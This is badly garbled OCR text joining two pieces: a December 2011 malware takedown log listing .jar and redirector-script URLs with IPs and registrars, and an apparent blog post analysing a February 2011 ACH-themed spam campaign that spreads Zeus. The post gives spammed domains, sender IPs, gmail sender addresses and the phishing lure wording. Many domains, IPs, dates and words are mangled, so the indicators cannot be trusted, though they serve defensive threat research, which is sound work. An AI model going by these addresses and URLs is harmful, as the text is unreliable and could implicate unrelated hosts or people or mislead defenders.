98788 s ‘main.php?p: 78c3dc54bfa8a 12/16/2011 0: 12/21/2011 7:45 malware 207.210.96.177Dedicated Web Hosti{0101 INTERNET, INC. us 127.21 http://kurpin.in/zx/jelljok ?key=jettjapa
98789 kurpin.in/zx/jelljok ?key=jettjapa 12/16/2011 0: 12/16/2011 15:45 malware 146.185.212.47Dedicated Web HostilDirecti Web Services Pvt. Ltd. (R118-AFIN) CY 15.18 | 887
98790 CN20090135.p-client.net/kquery. js 12/16/2011 0: 12/17/2011 5:06 malware 2.94.236.159 Redirector EY-SYSTEMS GMBH L 28.56 | 886 |http: -om/main.php?page=64078c3dc54bfa8a
ragsmug.com/main.php?page=64078c3dc54bfa8a 12/16/2011 0: 12/16/2011 14:31 malware 184.171.248.27Hijacked Website INAMESECURE.COM us 13.59 | 888
184.171.248.27/content/g43kb6j34kblg6ijh34kb6i3kl4.jar 12/16/2011 1: 12/16/2011 14:28 malware 184.171.248.27Dedicated Web Hostil{IP_ ADDR us 13.34
173.213.112.109/content/g43kb6i34kblg6ih34kb6i3kl4.jar 12/16/2011 7: 12/16/2011 12:25 malware 173.213.112.1(Dedicated Web Hostil{IP_ ADDR us 5.18| 889
46.249.37.109/content/g43kb6j34kbla6jh34kb6j3kl4.jar 12/16/2011 8: 12/16/2011 12:15 malware  #6.249.37.109 |Dedicated Web Hosti{IP_ ADDR INL 4| 890
184.171.248.35/content/g43kb6j34kblg6ijh34kb6i3kI4.jar 12/16/2011 9: 12/16/2011 16:38 malware 184.171.248.39Dedicated Web Hostil{IP_ ADDR us 6.85| 891
ragsnub.com/main. ?page=64078c3dc54bfasa 12/16/2011 9: 12/16/2011 10:06 malware 184.171.248.39Dedicated Web HostilFASTDOMAIN, INC. us 0.22
64.27.57.175/content/g43kb6j34kbla6ih34kb6i3kI4.jar 12/16/2011 10: 12/16/2011 15:49 malware 4.27.57.175 Redirector P_ADDR S 5.24 | 893 |http://ragsnap.com/main.php?page=64078c3dc54bfa8a
‘cadran-solaire.nl/jqueri.js 12/16/2011 10: 12/19/2011 6:59 malware  $9.255.16.8 edirector egistrar.eu L 68.54 | 892
'memphisrecords.com/jqueri.js 12/16/2011 11: 12/22/2011 13:56 malware 17.149.3.152 Redirector IOMINALIA INTERNET S.L. BS 146.2 | 894
www. tecr 1g.com/jqueri.js 12/16/2011 12: 12/23/2011 20:34 malware 207.210.85.194Redirector [ONLINENIC, INC. us 176.17 | 896
ragsnip.com/main.php?page=4a4fd3141d846cdd 12/16/2011 12: 12/21/2011 7:46 malware 207.210.96.22¢Dedicated Web Hosti{INTERNET.BS CORP. us 115.41| 895
207.210.96.226/content, 2.php?f=5 12/16/2011 17: 12/19/2011 4:38 malware 207.210.96.22€¢ Dedicated Web HostiiIP_ADDR us 58.97
ragsnipe.com/main.php?page=b778fa3b104bac2c 12/16/2011 17: 12/20/2011 3:44 malware 207.210.96.22¢Dedicated Web Hostijword.net us 81.81
aimgroups.ca/newjs.js 12/16/2011 18: 12/17/2011 5:14 malware 16.251.33.26 Redirector ucows.com Co. us 10.47 | 897 ‘'wonderfulyard.com/main.php?page=d00a6e65c43d2ba0
ing newjs.js 12/16/2011 18: 12/17/2011 11:21 malware 217.73.226.11(Redirector T 16.48 | 898 ‘eryirs.com/main.php?page=d00a6e65c43d2ba0
chattbook.ch.funpic.de/kquery.js 12/16/2011 19: 12/23/2011 1:34 malware 213.202.225.5(Redirector unitedcolo.de DE 150.54 | 899 |http://ragsnip.com/main.php?page=64078c3dc54bfa8a
‘czanna.webege.com/kquery.js 12/16/2011 19: 12/17/2011 11:52 malware 31.170.161.15€Redirector GoDaddy.com, Inc. us 16.7 00 |http://ragsnip.com/main.php?page=64078c3dc54bfa8a
ral2.ra.funpic. s, 12/16/2011 19: 12/27/2011 4:23 malware 213.202.225.45Redirector unitedcolo.de DE 249.12 01 |http://twistloft.com/main.php?page=111d937ec38dd17e
tarr: q.net/jqueri.js 12/16/2011 19: 12/16/2011 22:56 malware 67.220.217.234Redirector ENOM, INC. us 3.54 02 |r com
‘tbattitu.o2switch.net, .js 12/16/2011 19: 12/19/2011 8:20 malware 109.234.160.2' ctor FPOT DOMAIN LLC DBA DOMAINSITE.COM FR 60.82 03 |http://twistloft.com/main.php?page=111d937ec38dd17e
tweetwinner.com/main.php?page=64078c3dc54bfasa 12/16/2011 20: 12/21/2011 0:13 malware 173.213.112.11Dedicated Web Hosti{neturf us 100.18 04
Www iplus.lv/newjs.js 12/16/2011 20: 12/29/2011 6:53 malware 13.180.98.13 Redirector UATNET datu centrs, SIA L 298.66 05 _|http://wonderfulyard.com/main. ?page=d00a6e65c43d2ba0
WWW i.it/jqueri.js 12/16/2011 20: 12/17/2011 13:27 malware _ $9.188.142.18 Redirector TELEVIDEOCOM s.r.I. 1 17.04 06 _|http:, com/main. page=db3408bf080473cf
WWW. at/js.js 12/16/2011 20: 12/21/2011 11:50 malware 1.16.99.2 edirector IC.AT AT 11.21 07 _|http:, .com/main ?page=899f002ea96106b0
‘www.sitf.org.sa/jqueri.js 12/16/2011 20: 12/23/2011 5:39 malware 10.193.7.161 Redirector INGNET PTE LTD SG 52.81 08 |http:, -om/main.php?page=d00a6e65c43d2ba0
WWW.SyVers ‘oup.com/jqueri.js 12/16/2011 20: 12/29/2011 12:11 malware 9.64.156.56__Redirector NOM, INC. S 303.2 9 |http:, .com/main 65c43d2ba0
‘www.thegatheri om/jqueri.js 12/16/2011 21: 12/27/2011 15:12 malware 16.55.177.48 Redirector oDaddy.com, Inc. S 258.1 0 |http:, .com/main 65c43d2ba0
in/jqueri.js 12/16/2011 21: 12/17/2011 4:55 malware 6.7.221.96 edirector irecti Web Services us 7.68 1 |http: .com/main ?page=977334cal18fcb8c
‘main.php?page=db3408bf080473cf 12/16/2011 23: 12/21/2011 7:47 malware  #6.249.37.109 |Dedicated Web Hosti{MONIKER INL 103.99 2
freefreefree.sytes.net/main. ?page=4a4fd3141d846cdd 12/17/2011 13: 12/19/2011 19:59 malware  |96.126.125.161Hijacked Website IVITALWERKS INTERNET SOLUTIONS LLC DBA NO-IP us 54.87 3
96.126.125.161/content/g43kb6j34kblg6jh34kb6i3kI4.jar 12/17/2011 13:; 12/19/2011 4:40 malware  [96.126.125.161Hijacked Website Name.com LLC us 39.51 ttp://freefreefree.sytes.net/main. ?page=4a4fd3141d846cdd
pl p.com/main.php?pag c3dc54bfa8a 12/18/2011 9: 12/19/2011 4:44 malware  |96.126.125.161Dedicated Web Hosti|DIRECTNIC, LTD us 19.45
.com/main.php?pag 78c3dc54bfaga 12/19/2011 9: 12/21/2011 7:48 malware |184.171.248.3¢Dedicated Web Hostil MONIKER lus 46.04| 914
biteblew.com/main.php?page=64078c3dc54bfa8a 12/19/2011 11: 12/21/2011 7:49 malware 184.171.248.43Dedicated Web HostiiNETWORK SOLUTIONS, LLC. us 44.54 | 915
184.171.248.43/content/g43kb6j34kblg6ijh34kb6i3kI4.jar 12/19/2011 15:. 12/20/2011 3:55 malware 184.171.248.43Dedicated Web Hostil{IP_ ADDR us 12.13
biteblind.com/main.php?page=64078c3dc54bfa8a 12/19/2011 12: 12/21/2011 7:50 malware 1.214.234.20 |Dedicated Web Hosti|INTERNET.BS CORP. INL 43.19| 916 [N/A
31.214.234.20/content/g43kb6j34kbla6jh34kb6i3kI4.jar 12/19/2011 12: 12/19/2011 16:57 malware 1.214.234.20 |Dedicated Web Hosti{IP_ ADDR INL 4.3 A
80.79.124.185/content/g43kb6j34kbla6jh34kb6i3ki4.jar 12/19/2011 13: 12/19/2011 17:01 malware 0.79.124.185 |Dedicated Web HostilIP_ ADDR EE 3.77 A
biteblown.com/main.php?page=64078c3dc54bfa8a 12/19/2011 13: 12/21/2011 7:51 malware 0.79.124.185 |Dedicated Web HostiiFASTDOMAIN, INC. EE 42.61| 917 [N/A
bootle.servebeer.com/main. ?page=64078c3dc54bfasa 12/19/2011 13: 12/21/2011 5:03 malware  [96.126.101.16%Hijacked Website IVITALWERKS INTERNET SOLUTIONS LLC DBA NO-IP us 39.54 | 918 [N/A
96.126.101.165/content/g43kb6j34kblg6jh34kb6i3kI4.jar 12/19/2011 13: 12/20/2011 3:51 malware  |96.126.101.165Dedicated Web Hosti{IP_ ADDR us 14.34 P_ADDR
174.136.1.212/content/g43kb6j34kbla6ih34kb6j3kl4.jar 12/19/2011 15: 12/20/2011 3:49 malware 74.136.1.212 |Dedicated Web Hosti{IP_ ADDR us 12.62| 919 |IP ADDR
66.150.155.200/content/g43kb6j34kblg6jh34kb6i3kI4.jar 12/19/2011 15: 12/20/2011 3:47 malware 66.150.155.20(Dedicated Web Hosti{IP_ ADDR us 12.45| 920 [N/A
‘main.php?page=64078c3dc54bfa8a 12/19/2011 16: 12/19/2011 16:55 malware 4.207.232.22 |Dedicated Web HostilENOM, INC. us 0.78| 921 |N/A
74.207.232.22/content/g43kb6j34kbla6jh34kb6i3kI4.jar 12/19/2011 16: 12/20/2011 4:42 malware '4.207.232.22 |Dedicated Web Hosti{IP_ ADDR us 12.45 A
nitro-city.com/jscript.js 12/20/2011 11: 12/20/2011 22:29 malware 0.22.177.218 Redirector GoDaddy.com, Inc. us 10.78 | 92
stpeter .0rg/jscript.js 12/20/2011 15: 12/21/2011 18:08 malware 205.134.224.14Redirector [Melbourne IT, Ltd (R52-LROR) us 26.79 | 925 |n/a
nexp.com/jscript.js 12/23/2011 8: 12/23/2011 21:01 falware  $7.79.238.60 _Redirector VONIKER ys 12.79 | 933 |biteblind.com/main.php?page=977334cal18fcb8c
ftpstore 'tes.net/main.php?page=977334cal18fch8c 12/20/2011 14: 12/21/2011 5:04 malware  96.126.97.129 Hijacked Website TTALWERKS INTERNET SOLUTIONS LLC DBA NO-IP S 14.2 | 923 |http://ftpstore.sytes.net/main. ?page=977334cal18fcb8c
‘curcent.com/main. ?page=977334cal18fcb8c 12/20/2011 15: 12/21/2011 7:54 malware E 215.63.116 |Dedicated Web Hostil 101DOMAIN, INC. ES 16.69 A
95.215.63.116/content/g43kb6i34kbla6ih34kb6i3ki4.jar 12/20/2011 15: 12/21/2011 5:00 malware 5.215.63.116 |Dedicated Web HostilIP_ADDR E 13.82| 924 [IP_ADDR
‘currylovers.com.au/jscript.js 12/20/2011 17: 12/20/2011 22:13 malware '4.52.155.18 _Redirector razy Domains us 4.33 | 926 |http://curcent.com/main.php?page= le3ed6ae9
‘curcandle.net/main.php?page=977334ca118fcb8c 12/21/2011 4: 12/21/2011 7:58 malware  174.136.1.223 |Dedicated Web Hostijword.net us 3.33| 927
174.136.1.223/content/g43kb6j34kbla6ih34kb6j3kl4.jar 12/21/2011 4: 12/21/2011 4:58 malware 74.136.1.223 |Dedicated Web Hosti{IP_ ADDR us 0.02
184.171.248.48/content/g43kb6j34kblg6ijh34kb6i3kI4.jar 12/21/2011 6: 12/21/2011 9:07 malware 184.171.248.4§Dedicated Web Hostil{IP_ ADDR us 3
‘curvechore.com/main.php?pag 12/21/2011 6: 12/21/2011 12:09 malware 184.171.248.44Dedicated Web Hosti{INTERNET.BS us 6.04| 930
hp?page 12/21/2011 5: 12/21/2011 8:00 malware 206.72.207.15€¢Dedicated Web Hosti|DIRECTNIC, LTD us 2.02
206.72.207.156/content/g43kb6j34kblg6ih34kb6j3ki4.jar 12/21/2011 5: 12/21/2011 8:14 malware 206.72.207.15€¢Dedicated Web Hosti{IP_ ADDR us 2.3| 929
‘curvechime.com/main.php?pag 77334cal18fcb8c 12/21/2011 5:5¢ 12/21/2011 16:30 malware 184.171.248.47Dedicated Web HostiiNETWORK SOLUTIONS, LLC. us 10.57
184.171.248.47/content/g43kb6j34kblg6jh34kb6i3kI4.jar 12/21/2011 12/21/2011 9:13 malware 184.171.248.47Dedicated Web HostilIP_ADDR us 3.3| 928
99375|http://curvechess.com/main.php?page=977334ca118fcb8c 12/21/2011 12/21/2011 8:10 e |173.213.76.22€¢Dedicated Web Hosti{BIGROCK us 1.57




ISOC ID| Bufi itiati ttack Typ{ IP NACHA TAKEDOWN AUDIT Registrar [ Geo buratiomBillabld Notes
99376 173.213.76.226/content/g43kb6j34kblg6jh34kb6i3kI4.jar 12/21/2011 6:36 | 12/21/2011 8:33 Malware  |173.213.76.22€Dedicated Web HostilIP_ADDR lus 1.9¢ 931
99383 ‘curvechirp.com/main.php?page=977334cal18fcb8c 12/21/2011 8:47 | 12/21/2011 16:37 talware _|184.171.248.4]Dedicated Web Hosti{0101 INTERNET, INC. lus 7.84
99392 ‘curcell.net/main ?pag 77334cal18fcb8c 12/21/2011 9:45 | 12/21/2011 17:35 malware 5.215.63.2 Dedicated Web Hosti{INTERNET.BS CORP. Jfé 7.83| 932
99397 27/content/g43kb6j34kbla6jh34kb6j3kl4.jar 12/21/2011 11:35 | 12/21/2011 22:24 malware 5.215.6. Hijacked Website inahosting SL. S 10.82
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UAR’s Direclor of Research in

O Fabiruary 23rd, our friends at Trend Micro reporied that AGH Lgads lo Fake Java Update.
Leoking into this campalgn i the UAB Spant Data Ming we found some interesting
characteristics about the spam campalgn.

We've soen NACHA, the National Automated Clearing House Associalion, used as bait fora

Tha ACH transacticn . racently initated from your Bank account (by you or any
other person), was rejected by the Elactronic Paymerds Association.

Please olick here ta view datalls

Ranjaimin Grant,

Fraud Department

16466 | ACH Transie
1620 | Your ACH Transfer

18588 | ACH Transfer refected
1598 | Your ACH lransaction
1610 | ACH transaction cancetled
1622 { AGH transaction rejected
{8 rows)

That's out of a voluma of slightly more than 1 miflion emails per day. Here it is with date addad:

wil | subject | recaiving_date

e ot S e ne B A

16 1 AUH wansaction cancelled | 2011-02-22
13 L ACH tramsaction rejected  2011-02-22
23§ ACH Transfer cancelied | 2011-02-22
18 ACH Trensfer rejecied | 2011-02-22

15 £ Y el ACH transaction | 2011-02-22

11 Youw ACH Transfar | 2011-02-22

http://garwarner.blogspot.com/2011_02_01_archive.html

Computer Forensics
Twitter:
hitp:/itwitter.com/GarWamer

View iy complete profile

Subscribe To

[&5 Prasts : l

Blog archive
¥ 2017 (243
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A

July (6)
June {1}
May {2
Aprill (2)
March (8)

<« ¥ ¥ ¥ ¥ ¥

Fabruary (1)
“AGH Transaction Rejooted”
payments lead 1o Zeug

» January (2)
B 2010 (83}
¥ 2008 (98}
B 2008 (102)
B 2007 (31)
b 2008 (8)

compuler secunily careers (1

ficker (2)

cybemwar (1)

digital cerlificates (1)
facebook {2)

qumblay (13

koobface {1)
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1600 | ACH transaction cancelied | 2011-02-23 v enforcenient 48

1600 | ACH transaction rejecied | 2011-02-23 L mavare (18)

1633 | ACH Transfer cancelled | 2011.02.23 »h;r “cut’c*! @)
H pRArMAaceUiics “

1540 | ACH Transfer rejected | 20 11-02-43 ; Lrarecediees |

1583 | Your ACH transaction | 2011-02-23 : phishing

1609 | Your ACH Transfer | 2011-02-23 : publ
(12 rows) :

spam (22)

) . ) . \ o witter (3)
What was extreraely interesting about this campaign was the large number of domains it b { L

reaistered 10 be used In this abuse. Fortunaiely, these were all "Goladdy.com" domaing and . hwitter mal X (‘51}
quickly brought under control 1o prevent the spread of the malware,

Mere are our volume by spammed domain:

caurtt § maching
s eem Y S, s A S R A R R RN NN
26 1 AC-CURE-HS.INFQ :
30 | ACCUREHSINFO
33 1 ACH-ACCOUNTS.INEQ
26 | ACHACCOUNTS.INFO
28 | ACHDAUDICINFO
24 | AGHDBLOGINFO
28 | ACHDCAMERAINFO ;
25 | ACHDCOMPATIBLE INFO :
28 | ACHDEORNMATINFO
30 | AC-HDINFO
30 1 ACHDNOW.INFO
96 | AGHDONLINEINFO
24 | ACHDPHOTOUINFO
36 | ACHOPROGRAMMING INFO :
31 | ACHDRECEIVERINFO :
28 | ACHDREGORDING.INFO
34 | ACHDSHOP INEO :
34 | ACHDSIGNALS.INFO
59 | ACHDSINEO
26 | ACHDSITEINFO
27 | AGHDSTORE JHFO
25 | AGHDTODAY,INFO
31 | AGHFACIDLINED '
46 | ACHFBANDS.INFO
34 | ACHFBLOG.INFO
45 | ACHFBROADUASTING, INFO
37 | AGHE CONTESTINFO
27 | ACHFEXPOSUREINFO
37 | AG-HFINFO
27 | ACHFMOBILE.INFO
24 | ADHFNOW.INFO
L 28 1 ACHFONLINEINFO
34 | ACHFRADAR JNFO
25 | AGHFRECEIVER.INFO
22 | ACHESHOP I
37 | ACHFSINFO
2 | ACHESITEANF G
31| ACHFSPECTRUM.INFO
Y30 ACHFSTOREINFD
28 | ACHFTODAY INFO
28 | ACHGBLOG.INFO
47 | ACHGENTERTAINMENT INFO
35 | AC-HG-ERPOSUREINFCQ
40 | ACHGEXPOSURE. INFO

7

http://garwarner.blogspot.com/2011_02 01_archive.html 9/23/2011



CyberCrime & Doing Time: 2/1/11 - 3/1/11 Page 3 of 10

44 | AC-HEINEE
26 | ACHGME TALINFQ
33 | AGHEBNOWANED
27 | ACHGONLINE INFO
SHOP INFO
ub mm X
,mm GITE INFO
;Au JGEPOTINFD
G | ACH (c,m ORE INFO :
26 | ACHGTODAY ANFQ
26 | AC-HG-VACUUMIRFD :
30| ACHGYACUUM.INFO

!

|

i

|

28

27 | AG-HG-WELLRINFO

ACHEWELLSINPO

ACHIGHECHOOL FO

ACHIGHBCHOOLINFO
26 [ACHPAYMENT INF(
58 | ACHEPAYMENTSINEG
4 | AGHPBLOGINFO
41 PACHPCERTIFICATION INFO
30 | ACHPENTERPRISE INFD
34 § ACHPRARDWARE INFO
36 ] ACHPIRLOG INFOQ

27 ACAHE-C RE s

55 | ACHPICARSINFO

27 JACHPECHECKS w o)

[ 30 | ACHPICHECKSINEO

L 32 JACHPLINED

33 ] ACHPLINED

285 PAC-HPINFD

2 %AC? IOV INED

3

3

2

#
38
4

I

&
3| ACHPINTEGRITY INFO
o 1,&(,4;‘"@30:\: ANEINFC

1 | AGHPLRAGING INFO
)

8

| ACHPIRACINGINFO
mﬁim »k :C}P INFO
2% | ACHPIEINFO |
32 | AGH w TE INED ‘
20 | ACHPIETOREINFO
251 ACHPTTODNY IMPOQ
30 | AGHPLINUX INFO
25 | AGHPNOWINFO
28 1 AGHPONLINE INFG
24 1 AQHPPHOTGINFO
29 1 ACHPPRINTERINFO
45 ] ACHPSERVER INFO
40| ACHPSERVERS INFQ
40 ] BCHPSHOPINFO
e 1;\(3*-:?5;,“@?:(3
33 JACHPSITE N
32 { ACHPSTORE. u\x

34 | AGHPTODRY INFO
21 | ACHSBLOGINFO
82 JAGHEINFD
B3 PACHBNCWINFG
45 LACHEONUNE INFO
36 FACHESHOPINFO
98 | ACHESITE INFO

UL ACHES TOREINFG
%3 | ACHSTODAY INFD

3
3
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35 | ACHTBLOGINFO :
311 AG-HT-CONSULTING.INFO |
38 | ACHTCONSULTING.INFO
19 | AGHT-EDITORINFO
31 [ ACHTEDI TOR INFO
30 | AG-HT-ENTERPRISES INFO :
37 | ACHTENTERPRISES.INFO ?
31 [ ACHTINFOQ (
ACHT-MOBILE INFO .

HTMOBILE. INFO
33 | ACHTNOWINFO
26 | ACHTRANSACTIONBLOGINFO
sg‘Ac3r<Aq5A@u0NLOL|iNro
36 | ACH TRANSACTIONINFO |
26 [ ACHTRANSACTION.INFO ;
26 { ACHTRANSACTIONISOLATION.INFO !
23 | AGHTRANSACTIONLAY ERUNFO
28 | ACHTRANSACTIONLOGIC INFO
26 | ACHTRANSACTIONMONITORING INFO
18[AC~TRAP>ACWUMNO%HNFO

20 | ACHTRANSACTIONONL INELINFO
4,;ACHWRA~0AC¥K3 LPROCESSINGINFO :
32 ) ACHTRANSACTIONPROCESSING INFO {
5w1L( HTRANSACTION-PUBLISHERS.INFO 5
20 | ACHTRANSACTIONFUBLISHERS.INFO

17 1 ACHTRANBACTIONSHOPINFQ
31§ ACH-TRANSACTIONS.INFC
28 | ACHTRANSACTIONS. INFO
20 | ACHTRANSACTIONSITEINFO

31 | ACHTRANSACTIONSTORE INFOQ ;
20 | ACHTRANSACTIONTODAY INFQ Z
28 { ACHTRANSFERAGENT.INFO :

28 1 ACHURANSF LR RLOGINFO
33 | AGHTY f«A;\SFZRC"aF[“ TSANFO
26 | AGHTRANSFERFILES INFO
37 | ACHTRANSFERGUIDEINFO
21 [ ACHTRANSFERGUIDES.INFO i
34 { ACH-TRA CINFO
30 | ACHTRANSFER INFO
30 | ACHTRANSFERNOW.INFO
32 | ACHTRANSFERONLING INFO {
duiAbHWKANLFFPPRKANOINFO :
16 | ACHTRANSFERBEQUESTINFO
33 | ACHTRANSFERSHOPINFO
32 | ACHTRANSFERS.INFO
35 | ACHTRANSFERSITEINFC
34 | ACH-TRANSFER-STATION.INFO
A1 | AGH ERSTATIONINFO
30 | AOHTRANSFERSTORELINFO
25 1 ACHTRANSFERTODAY INFO
25 { AGHTRUSTASBETS INFO
26 | ACHTRUSTBLOGINFO
31 | ACHTRUSTCORPORATION, INFO
47 | ACHTRUSTDOCUMENT.INFO
32 | ACH-TRUST.INFO
31 | ACHTRUST.INFO
32 | AGHTRUSTINSTRUMENTINFO
20 | ACHTRUSTINVES TMENTS INFO
.zw\t*umu TLANDSINFC

33 | AGHTRUSTNOW.INFO

i
!
!

http://garwarner.blogspot.com/2011 02 01 archive.html 9/23/2011
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30 | ACHTRUBTONLINEINFO
27 EACHTRUSTSHOP INFO
93| ACHTRUS TS INFG
25 [ ACHIRUSTSITEINRD
AN;L;\{»HEI\U TS TCIRE INFO
3 | AGHTRUBTTODAY INFE
22 1 ACH TRUST-WEBSITEINFO
34 U\( RIS W CERSITEINFO
28 | ACHTSHOBANFO :
28  ACHTSINFO :
R ACHY SiYE
34 | ACHTSTORE INFO
36 | ACHTTCRAY INFG
42 | ACHUBLOG INFO
30 | AG-HULINED
27 | ACHUNOWINFE
21 | AGHUONLINE, INEE
4
it

57 | ACERISHOPINFO
Ly AL
S2 PAGHUSTORENFO
24 | AGH ,&M O
35 P ACHYBLOGINEG :
T EACH Y -OARP INFO i
PACHYCAME. INFQ)
31 | AGHYINEG
S0 EACHYNOWINFO
t
RS

1 iNi“{)

F

3%
1

26 | ACHYONUINE INFO
w HOP INEQ

1;« LINEO
ésle YSITENFC
27 | ACHYSETORE INFO
30 | ACHYTODAY INFO ;
26 | AGHZBLOG.INFO ;
30 ] AGHZINFO
26 | AOHINOWANEC !

36 | AGHZONLINE INFO

26 | ACHZEHOP BNFD
54 mf" HES INFG
£ IMFO
;s), ; f\{xﬁ“iie FOREINEG
32 | ACHLTODAY INFO
9 | ACTORTUG INFO
27 | RASEBALL TRANSACTIONS INFO |
40 | BESTACHD INFO
99 [ BESTACHE INFO
46 | BESTACHELINFO
40 | BESTACHPLINFO
34 | BESTACHPINFO
29 | BESTAGHS INFO
52 | BESTACHT INFO
26 | BESTACHTRANSACTIONINEC
47 | BESTACHTRANSFERINFO
30 {RESTAGHTRUSTINFO
20 | BESTAGHULINFO
31 | BESTACHY INFO
25 | BESTACHZINFO !
2| BESTKRUST.INFO
43 | BESTTRANSFERACH.INFO
1 | BETAINFG IHFO
HRENT-TOR (NFO

24

ity Hoarwarner hlogsnot.com/2011 02 01 archive.html 042312011
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2P CALMWEATHER INFQ

2oL {)1 HES-PEGLINFG
421 GOLLEGRETRANSPERACHINFQ
J s con
4 1 dfeeoce

¥ OIS TRIBUTEDTRANSALTIONS INFG
«W! DORMAINTRAMNSF FH.«\&’ SR

FLATIONAL TORPIC AR

PRQMIC-ACHINFO
CYROMCACHINRG
CTROMICACHTRUST INFQ
CYROMIC-ACH-Y IMFO
CTRONEAGHY INFO
STRONITRANSACTIONS INFO

ZTPLCIORSLIRPACEINFO
A% | FREBEACHDINFD

I FREEACHF INEFG
83 | FREEACGHEIMFO
2 ER GHPLINFG
45 | FREEAZHP INFO
24 | EF HELINFO
B FRETACHT NG

EF PP REEACHTIRANSACTIONINF G

26 | FREEACHTRANSFERLINFO

ACHTRUSTINFO

CHUINFO

CEACHY INFO
AOHZANFO

CTRANBFERACH.INFD
£33 RLWL NP

S HEAT TRANSFER-ACHINFG

45“;&}\% TRANSFERAGHINFO

3 HGLOMINERALSINFD

1 INGORREGT-RESULTANFG

2 INTERACTIVEROUTEINFO

1 JOURNALIGSUE INFO

25 LEAGUETRANSACTIONS INFO

3 LOAVES YO RUINEQ

FTLYNXPOPUBLATIONSAINEO

2 PMAMBARANKING. INFO

2 { MAMBASCHOLAREHIP NG

2 MIVCARDLINED

37 | EMORYTRANSAZTIONSINFQ

SURYLYMRINEG

34 MY ACHEINFC

6§ MYATHE INFUO

28 | MYACHGINFG

P EMYAGHPLINFD

22 | MYAGHPUINEG

32 PMYACHTINFO

40 | RIYACHTRANSACTION.INFO

41 ) Y ADHMTRANSFERINFO

A7 L RAYACHTRUSTINFG

283 MYACHLLINEO

A4 3 MYACHY INEG

33 ) MYALMZINFO

FMYPREGLINGG

28 MY TRANSFERACHINFD

30} NEWACHDINFO

37 NEWACHFINFD

httn:Hearwamer. bloganot.com/2011 02 01 archive himl
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26 | NEWACHG.INFO
44 | NEWAGHPLINFO :
28 | NEWACHPANED

31 | NEWAGHSINFO

29 | NEWACHT.INFO

32 WACHTRANSAGTIONANFO

27 I NEWACHTRANSFERUNFC

23 | NEWACHTRUST.INFO

26 | NEWACHULINFO

1 [ NEWAGHY.INFO

30 | NEWACHZINFO

45 | NEWTRANSFERACH.INFO

{ ] NEWILXUINFGO

2 1 NOVA-TUSOUNFD

2 | OTTAWALYNMLINFO

2 | PEGISHOP.INFO

34 | PLAYERTRAMSACTIONS.INFO

24 ] REPRESENTATIVETRANSACTIONS INFO
3| RESGPORD-E-PTINFG

£ | REWARDMILES.INFQ

2 | REAINFOINFO

2 | ROUGHTORINED

38 | SECUREDTRANSACTIONS.INFG

2| SLOTESITEINFO

21 | SPORTSTRANSACTIONS INFO
ARSTU-QUNFG

TARTUOTICKET.INFO
RIMLINFO

26 | TECHTRANSFERACH INFO /
27 { THEACHILINEO
37 | THEAGHF INFG
28 | THEAGHG.INFO %

20 | THEACHPLINFO

31 THEACHP INFO

34 | THEACHS.INFFO

30 | THEACHT.INFQ

26 | THEACHTRANBACTIONINFO
30 | THEACHTRANSFER INFO

22 | THEACHTRUST.INFQ

boa7 | THEACHUINFO
VOHY INFO *

ACHZINFO _
34 | THETRANSFERACH INFO
2 | TORMINERALS INFO §
26 [ TRANSACTIONSSHOR INFO
25 | TRANSEERACHRLOGINFO
32 | TRANSFER-ACH.INFO
36 | TRANSFERAGH.INFO z
94 | TRANSFERACHNOWINFO
24 | TRANSEERAGHONLINE. INFO i
343 | TRANSFERACHPAYMENTINFO
34 | TRANSFERACHPAYMENTSINFO '
33 | TRANSFERACHSHOPINFO ?
27 | TRANBFERACHS INFO
30 | TRANSFERACHS!TE, INFO |
34 | TRANSFERAGHS TORE.INFO _,
22| TRANSFERACHTODAY INFO

http://garwarner.blogspot.com/2011_02_01_archive.html 9/23/2011
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41 ;TRANSFERADMiSSiON.tNFO
34 TRANSFERAPPLICANTS.INFO
35 | TRANSFERGUIDE.INFO

36 | TRAMSFERGUIDES INFO

2 JULXSINFO

23 | WEAL THTRANSFERACHINFO
2 WIR SS-COMMUNICATIONS.INFO
2 [ YMYSTICKINFO
Z1YOU-LXNFO

2] YUM-RESTAURANTSINFO

2 1 YUMTHALINFO

(355 rows)

The last domains we saw spammed were siightly after 7 PN (Central ime) on Feb 28rd:

NEWACHTRANSFER INFO
FREEACHY.INFO
AGHUSTOREINFO
NEWTRANSFERACH INEQ
ACHGNOW.INFO

TRANSF ERADMISSION.INFO
ACHPBLOG.INFO

MYACHTRUST INFO

ACHYS INFO ‘
THEACHPLINFO ;
ACHPSTORE INFO

all came in between 7 PM and 7:15 PM info the UAB Spam Data Mine.

ical Reports then you know that UAB has a upigue capabifity to ‘
puild “Spam Clusters” of massages related an many different facters. One of our fairly standard
chiseks s to ask “what other span is coming from the machines that sent us this spam?*

I yoirve read some of our Techn

in this case, the answer was NOTHING,

1t was as i svery single maching that sent thig spam maessage had been untgquely compromised i
for the sole purpose of sending us this email. Out of 9.610 sending WP addresses, only TWO of i
therm had besn seen praviously sending spam ta the UAB Spam Data Mine, Two Viagrd ad from
196.92.14.4 on February 18th and 19t and a set of seven Viagra ads from 112.135.85.114 on
Febryary 8th and 9th. The other 9,608 sending P addresses had not sert us any spam, at feast
i the past montih That's so unusual that itis aciually lmpossible, There are $o many botinfected §
computers that randamly selecting any 9,000 Internet-connacted computers, there is NO ;
GCHANCE that none of them sent me spam. %
|
i
i

It turng out the spam messages had "dublous weader records” inseried.
To explare this desper, | ooked al the headers of 92 email messages | had personally received in

this campaign {as opposed 1o the UAR Spam Data Mine recelving them - the smatler data setis
gasier 1o manipulale for manual or quick scripting review.}

it turaed out hat the 92 emails, which at first seemed 1o come from 92 different IPs, actually E
came from 14 machines, with the niost popular ones being: i

Recoived: from static.vde.vo [113.160.224.168]
Received: om tiband-mum-58.184.120.21 mtnlhetin [59,184.120.21]
s from 95.subnet) 25-164-81 speedy telkorm.netid [125.164.81 951

Altwell known spammer (Ps (click links fo see their “Project Honeypot" reputations).

White digging deeper. it sesms that each of the spam messages was sent while authenticated

http://garwarner.blogspot.com/201 1_02_01_archive.html 9/23/2011
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into gmail, As a guick spot check, | examined the 92 emall messages that | received In my
personal accounts. Out of the 92, 87 of them had an "envelope-from" and a matching "Return-
path statement showing a gmail account that had been used to send e spam message:

{envelope-from abominatingr@gmail.com)

o adiournib@gmail.com)
[envelope-from alwaysw7@gmail.com}
{envalope-from anaestheticsnzb56@gmail.corm)
{envelopae-from analog@gmail.com)
{rnvelope-from anthrapologyi9@gmail.com)
(envelepe-from hagsielierG7 ggmal.com)
{enveiope-from bawlct1@gmail.com)
{envelope-trom peachcombersbdudd@gmail.com)
(arwelope-from bacomingly001 @grnail.com)
erency028@gmail.com)
{envelope-fron niweekliesgads@gmail.con)
